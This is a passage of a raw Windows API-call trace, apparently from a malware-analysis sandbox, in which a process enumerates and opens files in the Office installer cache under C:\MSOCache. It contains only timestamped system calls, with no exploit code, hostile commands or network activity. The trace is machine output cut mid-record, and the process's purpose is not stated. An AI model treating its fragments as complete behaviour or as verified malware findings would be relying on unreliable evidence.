BaseAddress=0xf9c408) returned 1 [0045.532] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0045.766] GetLastError () returned 0x12 [0045.766] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d120 [0045.766] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="")) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="")) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0045.767] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0045.767] GetLastError () returned 0x12 [0045.767] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0045.767] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0045.768] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0045.768] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0045.768] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0045.768] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0045.768] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0045.922] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0045.963] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0046.361] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0046.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0046.361] NtClose (Handle=0x184) returned 0x0 [0046.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0046.361] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0046.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0046.362] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d120 [0046.382] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.382] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0046.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89ce8 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8c7f0 [0046.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.382] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89d08 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8c8f8 [0046.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.382] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.382] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.382] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.382] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.383] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89d28 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ca00 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.383] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.383] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89d48 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8cb08 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.383] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.383] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.383] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.384] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89d68 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8cc10 [0046.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.384] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89d88 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8cd18 [0046.384] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0046.384] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0046.384] RtlAllocateHeap (HeapHandle=0xf70000, 